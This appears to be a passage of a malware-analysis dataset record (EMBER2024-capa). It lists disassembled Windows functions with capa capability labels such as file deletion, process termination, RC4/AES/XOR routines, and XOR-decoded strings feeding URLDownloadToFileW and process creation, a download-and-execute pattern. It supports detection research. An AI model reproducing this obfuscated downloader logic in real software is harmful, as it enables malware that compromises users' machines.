joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002118a
Capabilities:
Get system information on windows

Disassembly:
jmp 0x140026a60
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x1a8]
lea rcx, [0x140095341]
call fcn.140021040
mov dword [rbp + 0x44], 0x1000
cmp qword [rbp + 0x188], 0
je 0x140026ac3
mov rax, qword [rbp + 0x188]
mov dword [rax], 0
cmp dword [rbp + 0x180], 0
je 0x140026ad8
mov dword [rbp + 0x84], 0x4d
jmp 0x140026ae2
mov dword [rbp + 0x84], 0xb
mov eax, dword [rbp + 0x44]
mov ecx, eax
call qword [rbp + 0x190]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140026aff
xor eax, eax
jmp 0x140026bac
lea r9, [rbp + 0x44]
mov r8d, dword [rbp + 0x44]
mov rdx, qword [rbp + 0x28]
mov ecx, dword [rbp + 0x84]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xc0000004
jne 0x140026b57
mov rcx, qword [rbp + 0x28]
call qword [rbp + 0x198]
mov eax, dword [rbp + 0x44]
mov ecx, eax
call qword [rbp + 0x190]
mov qword [rbp + 0x28], rax
lea r9, [rbp + 0x44]
mov r8d, dword [rbp + 0x44]
mov rdx, qword [rbp + 0x28]
mov ecx, dword [rbp + 0x84]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov dword [rbp + 4], eax
cmp qword [rbp + 0x188], 0
je 0x140026b6d
mov rax, qword [rbp + 0x188]
mov ecx, dword [rbp + 0x44]
mov dword [rax], ecx
cmp dword [rbp + 4], 0x80000005
jne 0x140026b8d
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
cmp dword [rax], 0
je 0x140026b8d
mov rax, qword [rbp + 0x28]
jmp 0x140026bac
cmp dword [rbp + 4], 0
jl 0x140026b99
mov rax, qword [rbp + 0x28]
jmp 0x140026bac
cmp qword [rbp + 0x28], 0
je 0x140026baa
mov rcx, qword [rbp + 0x28]
call qword [rbp + 0x198]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400659f0]
call fcn.140020d66
mov rax, rdi
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x1400211bc
Capabilities:
Read file via mapping

Disassembly:
jmp 0x140052ae0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x40]
lea rcx, [0x140097c3a]
call fcn.140021040
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
je 0x140052bb2
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x1000002
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x140052ba8
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 4
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rbp + 0x48], rax
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x48]
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x14002a6e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov byte [rsp + 8], cl
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x140095370]
call fcn.140021040
mov byte [rbp + 4], 0
jmp 0x14002a717
movzx eax, byte [rbp + 4]
inc al
mov byte [rbp + 4], al
movzx eax, byte [rbp + 4]
cmp eax, 4
jge 0x14002a79c
mov byte [rbp + 0x24], 0
jmp 0x14002a72f
movzx eax, byte [rbp + 0x24]
inc al
mov byte [rbp + 0x24], al
movzx eax, byte [rbp + 0x24]
cmp eax, 4
jge 0x14002a797
movzx eax, byte [rbp + 4]
mov rcx, qword [rbp + 0x128]
lea rax, [rcx + rax*4]
movzx ecx, byte [rbp + 0x24]
movzx edx, byte [rbp + 0x120]
shl edx, 2
movzx r8d, byte [rbp + 4]
shl r8d, 2
lea edx, [r8 + rdx*4]
movzx r8d, byte [rbp + 0x24]
add edx, r8d
movsxd rdx, edx
mov r8, qword [rbp + 0x130]
movzx edx, byte [r8 + rdx]
movzx eax, byte [rax + rcx]
xor eax, edx
movzx ecx, byte [rbp + 0x24]
movzx edx, byte [rbp + 4]
mov r8, qword [rbp + 0x128]
lea rdx, [r8 + rdx*4]
mov byte [rdx + rcx], al
jmp 0x14002a726
jmp 0x14002a70e
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x14002ccc0
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x140095370]
call fcn.140021040
mov byte [rbp + 4], 0
jmp 0x14002ccee
movzx eax, byte [rbp + 4]
inc al
mov byte [rbp + 4], al
movzx eax, byte [rbp + 4]
cmp eax, 4
jge 0x14002cd4d
mov byte [rbp + 0x24], 0
jmp 0x14002cd06
movzx eax, byte [rbp + 0x24]
inc al
mov byte [rbp + 0x24], al
movzx eax, byte [rbp + 0x24]
cmp eax, 4
jge 0x14002cd4b
movzx eax, byte [rbp + 0x24]
mov rcx, qword [rbp + 0x120]
lea rax, [rcx + rax*4]
movzx ecx, byte [rbp + 4]
movzx eax, byte [rax + rcx]
lea rcx, str.cw
movzx edx, byte [rbp + 0x24]
mov r8, qword [rbp + 0x120]
lea rdx, [r8 + rdx*4]
movzx r8d, byte [rbp + 4]
movzx eax, byte [rcx + rax]
mov byte [rdx + r8], al
jmp 0x14002ccfd
jmp 0x14002cce5
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140002080
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov eax, dword [rcx + 0x48]
lea rbx, [rcx + 0x28]
mov rsi, qword [rcx]
lea r11, [rcx + 0x28]
add rbx, rax
mov rdi, rcx
movabs rbp, 0x9e3779b185ebca87
movabs r15, 0x27d4eb2f165667c5
movabs r14, 0xc2b2ae3d27d4eb4f
movabs r12, 0x7a1435883d4d519d
cmp rsi, 0x20
jb 0x14000217b
mov rcx, qword [rcx + 8]
mov r8, qword [rdi + 0x18]
mov r9, qword [rdi + 0x20]
mov rax, r8
mov rdx, qword [rdi + 0x10]
mov r10, r9
rol r10, 0x12
rol rax, 0xc
add r10, rax
mov rax, rdx
rol rax, 7
add r10, rax
mov rax, rcx
rol rax, 1
add r10, rax
movabs rax, 0x85ebca77c2b2ae63
imul rcx, r14
imul rdx, r14
imul r8, r14
imul r9, r14
rol rcx, 0x1f
imul rcx, rbp
rol rdx, 0x1f
xor r10, rcx
rol r8, 0x1f
imul r10, rbp
imul rdx, rbp
imul r8, rbp
sub r10, r12
rol r9, 0x1f
xor r10, rdx
imul r10, rbp
imul r9, rbp
sub r10, r12
xor r10, r8
imul r10, rbp
sub r10, r12
xor r10, r9
imul r10, rbp
add rax, r10
add rax, rsi
jmp 0x140002183
lea rax, [rsi + r15]
add rax, qword [rcx + 0x18]
lea rdx, [rdi + 0x30]
cmp rdx, rbx
ja 0x1400021ba
nop dword [rax]
mov rcx, qword [r11]
add rdx, 8
imul rcx, r14
add r11, 8
rol rcx, 0x1f
imul rcx, rbp
xor rax, rcx
rol rax, 0x1b
imul rax, rbp
sub rax, r12
cmp rdx, rbx
jbe 0x140002190
lea rdx, [r11 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x1400021e5
mov ecx, dword [r11]
mov r11, rdx
imul rcx, rbp
xor rax, rcx
rol rax, 0x17
imul rax, r14
add rax, r8
cmp r11, rbx
jae 0x14000220b
nop word [rax + rax]
movzx ecx, byte [r11]
inc r11
imul rcx, r15
xor rax, rcx
rol rax, 0xb
imul rax, rbp
cmp r11, rbx
jb 0x1400021f0
mov rbx, qword [rsp + 0x20]
mov rcx, rax
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
shr rcx, 0x21
xor rcx, rax
imul rcx, r14
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
pop r12
ret

Function at 0x14000a2f0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x250
mov rax, qword [0x14002e008]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, r8
lea rax, [rsp + 0x30]
mov rbx, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000a335
xor al, al
jmp 0x14000a382
cmp word [rbx], 0
je 0x14000a34d
nop dword [rax + rax]
add rbx, 2
dec rdi
cmp word [rbx], 0
jne 0x14000a340
cmp word [rsp + 0x30], 0
je 0x14000a37b
lea rcx, [rsp + 0x30]
sub rcx, rbx
nop dword [rax]
cmp rdi, 1
jb 0x14000a3a3
movzx eax, word [rcx + rbx]
dec rdi
mov word [rbx], ax
add rbx, 2
cmp word [rcx + rbx], 0
jne 0x14000a360
xor eax, eax
mov word [rbx], ax
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000b640
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
ret
call fcn.14000f70c
int3
Function at 0x14000ac90
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x2030
call fcn.14001f8c0
sub rsp, rax
mov rax, qword [0x14002e008]
xor rax, rsp
mov qword [rsp + 0x2020], rax
mov r11d, dword [0x14002fd90]
lea rsi, [0x140034dd0]
mov rdi, rcx
test r11d, r11d
jne 0x14000ad09
mov r8d, 0x1000
lea rdx, str._HOME_
lea rcx, [rsp + 0x20]
call fcn.14000a3b0
test al, al
je 0x14000ade9
lea rcx, [rsp + 0x20]
call fcn.140013e10
movsxd r11, dword [0x14002fd90]
mov qword [rsi + r11*8], rax
inc r11d
mov dword [0x14002fd90], r11d
xor r9d, r9d
test r11d, r11d
jle 0x14000ad44
mov r10, rsi
mov r8, qword [r10]
mov rax, rdi
sub r8, rdi
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14000ad34
add rax, 2
test ecx, ecx
jne 0x14000ad20
test edx, edx
je 0x14000ad67
inc r9d
add r10, 8
cmp r9d, r11d
jl 0x14000ad14
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000ad50
cmp rax, 2
jne 0x14000ad6b
cmp word [rdi + 2], 0x3a
jne 0x14000ad6b
mov al, 1
jmp 0x14000adc8
xor edx, edx
mov qword [rsp + 0x2048], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne bl
test eax, eax
jne 0x14000ad96
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000adbd
mov bl, 1
cmp dword [0x14002fd90], 0x400
jge 0x14000adbd
mov rcx, rdi
call fcn.140013e10
movsxd rdx, dword [0x14002fd90]
mov qword [rsi + rdx*8], rax
inc edx
mov dword [0x14002fd90], edx
movzx eax, bl
mov rbx, qword [rsp + 0x2048]
mov rcx, qword [rsp + 0x2020]
xor rcx, rsp
call fcn.14000b640
mov rsi, qword [rsp + 0x2050]
add rsp, 0x2030
pop rdi
ret
lea rcx, str._HOME_
call fcn.14000ab30
int3
Function at 0x14000af10
Capabilities:
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
sub rsp, 0x68
mov rcx, qword [0x14002fd98]
test rcx, rcx
je 0x14000af4b
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000af3e
mov rcx, qword [0x14002fd98]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [0x14002fd98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x14002fda8], 0
je 0x14000b03e
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x78], rbp
lea rbp, [0x140029940]
mov qword [rsp + 0x80], rsi
lea rsi, [0x1400325d0]
mov qword [rsp + 0x88], rdi
xor edi, edi
mov qword [rsp + 0x60], r14
mov r14d, 0x414
mov word [rsp + 0x40], r14w
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000b01f
test al, 0x10
je 0x14000b01f
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov word [rsp + 0x40], r14w
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
inc ebx
cmp ebx, 0x14
jl 0x14000afc5
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x60]
add rsp, 0x68
ret
Function at 0x14000bf14
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000bf5e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000bf5e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000bf5e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000bf5e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000bf5e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000bf60
xor al, al
add rsp, 0x28
ret

Function at 0x14000f700
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000f56b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f56b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f56b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f56b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f56b
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f56b
cmp dword [rcx + 0xf8], 0
je 0x14000f56b
mov ecx, ebx
call fcn.14000f61c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000f3f8
nop
cmp dword [rbp + 0x20], 0
je 0x14000f5b9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000f5c4
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000f4fc
Function at 0x140018cf4
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140018d7b
mov rsi, rbx
cmp word [rax], bp
je 0x140018d3a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140018d24
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140018d20
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140016524
mov rdi, rax
test rax, rax
je 0x140018d68
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14000d4e0
mov rbp, rdi
xor ecx, ecx
call fcn.140015548
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001b344
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001b35a
mov al, 1
jmp 0x14001b3ba
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001b36b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001b3b8
mov ecx, dword [rcx + 0x18]
nop
call fcn.140019498
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001b3b8
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001b3b8
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001b3b8
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001b3ba
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14001f7d0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001f7f8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001f7f8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400032fc
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
not r8d
mov r10, rcx
mov r9d, r8d
test rdx, rdx
je 0x140003356
mov r11b, reloc.WLDAP32.dll_Ordinal_35
lea rdi, [0x1400b38b0]
movzx ebx, byte [r10]
dec rdx
inc r10
cmp bl, r11b
jne 0x140003340
cmp rdx, 2
jb 0x140003340
cmp byte [r10], r11b
jne 0x140003340
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
xor rcx, rbx
shr r9d, 8
xor r9d, dword [rdi + rcx*4]
test rdx, rdx
jne 0x14000331e
jmp 0x140003397
mov dl, byte [rcx]
inc r10
test dl, dl
je 0x140003397
mov r11b, reloc.WLDAP32.dll_Ordinal_35
lea rdi, [0x1400b38b0]
cmp dl, r11b
jne 0x14000337b
cmp byte [r10], r11b
jne 0x14000337b
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
movzx eax, dl
mov dl, byte [r10]
xor rcx, rax
shr r9d, 8
inc r10
xor r9d, dword [rdi + rcx*4]
test dl, dl
jne 0x140003369
mov rbx, qword [rsp + 8]
not r9d
mov rdi, qword [rsp + 0x10]
mov eax, r9d
ret

Function at 0x1400034cc
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, r8
test r8, r8
je 0x1400034ec
and qword [r8], 0
lea rdx, [0x1400b343c]
call fcn.1400033a8
mov rbx, rax
test rax, rax
je 0x1400035dd
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x1400035d4
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1400035d4
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x1400035d4
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1400035d4
mov rbp, rdi
cmp rdi, 0xffffffffffffffff
je 0x1400035d4
mov rax, qword [0x1402c1240]
test rax, rax
je 0x140003571
inc dword [rax + 0xf4]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x1400035d4
mov r9, rbx
mov r8, rbp
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rbp
je 0x1400035c1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1402c1240]
test rax, rax
je 0x1400035b6
dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1400035dd
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x1400035cf
mov qword [rsi], rbp
mov rax, rdi
jmp 0x1400035df
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140005b80
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x1402c00c0]
xor rax, rsp
mov qword [rsp + 0x28], rax
movsxd r8, dword [rcx + 0xe8]
mov r10d, 4
mov rax, qword [rcx + 0xf0]
mov r9d, r10d
mov dword [rsp + 0x20], edx
mov ebx, dword [rax + r8*4 - 4]
lea r8, [rsp + 0x20]
not ebx
movzx eax, byte [r8]
inc r8
movzx ecx, bl
xor rcx, rax
shr ebx, 8
lea rax, [0x1400b38b0]
xor ebx, dword [rax + rcx*4]
sub r9, 1
jne 0x140005bbc
mov rcx, qword [0x1402c1240]
not ebx
cmp dword [rcx + 0x3f18], ebx
jne 0x140005bfa
movsxd r8, edx
mov ecx, ebx
mov edx, r10d
call fcn.140015cf8
mov eax, ebx
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400a07d0
add rsp, 0x30
pop rbx
ret

Function at 0x140014978
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5c40], 0
lea rbx, [rcx + 0x5c48]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x140014a11
mov r9d, dword [rbx + 4]
test r9d, r9d
jns 0x1400149c9
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
xor edx, edx
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.140016c30
and dword [rbx], 0
mov r8, rsi
mov rdx, rbp
mov rcx, rbx
call fcn.140003bdc
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5c40]
lea ecx, [rax - 1]
neg eax
sbb eax, eax
and eax, ecx
lea rcx, [0x1402c1238]
movsxd r8, eax
mov rax, qword [rdi + 0x5c50]
test rax, rax
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x140014a19
mov rcx, rbx
call fcn.140003bdc
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1400151f8
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x1402c1240]
mov rbx, rcx
and dword [rax + 0x5ba4], 0
test rcx, rcx
je 0x140015261
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.14001526c
lea rdx, [0x1400b3440]
mov rcx, rbx
mov rdi, rax
call fcn.1400033a8
mov rbx, rax
test rax, rax
je 0x140015261
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140033e20
Capabilities:
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x1402c00c0]
xor rax, rsp
mov qword [rbp - 8], rax
mov rbx, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xor edi, edi
mov qword [rbp - 0x18], rdi
mov qword [rbp - 0x10], rdi
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], di
jne 0x140033e58
lea rcx, [rbp - 0x28]
call fcn.14003e100
nop
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova rcx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x18]
cmp word [rcx + rax*2 - 2], 0x5c
je 0x140033e8f
lea rcx, [rbp - 0x28]
call fcn.14003cdb4
movups xmm0, xmmword [0x1402b1db0]
movups xmmword [rbp - 0x40], xmm0
mov eax, dword [0x1402b1dc0]
mov dword [rbp - 0x30], eax
movzx eax, word [0x1402b1dc4]
mov word [rbp - 0x2c], ax
mov r8d, edi
lea r9, [rbp - 0x40]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xb
jl 0x140033eb5
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x28]
call fcn.14003cf30
lea r8, [rbp - 0x28]
cmp qword [rbp - 0x10], 7
cmova r8, qword [rbp - 0x28]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
nop
lea rcx, [rbp - 0x28]
call fcn.14003d7c4
xor al, al
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400a07d0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140033f3c
Capabilities:
Create process on windows
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xf0
mov rax, qword [0x1402c00c0]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rdi, rdx
mov rsi, rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
xor r14d, r14d
mov qword [rbp + 0x27], r14
mov qword [rbp + 0x2f], r14
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], r14w
jne 0x140033f80
lea rcx, [rbp + 0x17]
call fcn.14003e100
nop
lea rcx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 7
cmova rcx, qword [rbp + 0x17]
mov rax, qword [rbp + 0x27]
cmp word [rcx + rax*2 - 2], 0x5c
je 0x140033fb7
lea rcx, [rbp + 0x17]
call fcn.14003cdb4
movups xmm0, xmmword [str._SO_UPVm_2G]
movups xmmword [rbp - 0x79], xmm0
movsd xmm0, qword [0x1402b18b0]
movsd qword [rbp - 0x69], xmm0
mov eax, dword [0x1402b18b8]
mov dword [rbp - 0x61], eax
movzx eax, word [0x1402b18bc]
mov word [rbp - 0x5d], ax
mov r8d, r14d
lea r9, [rbp - 0x79]
mov ebx, 1
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
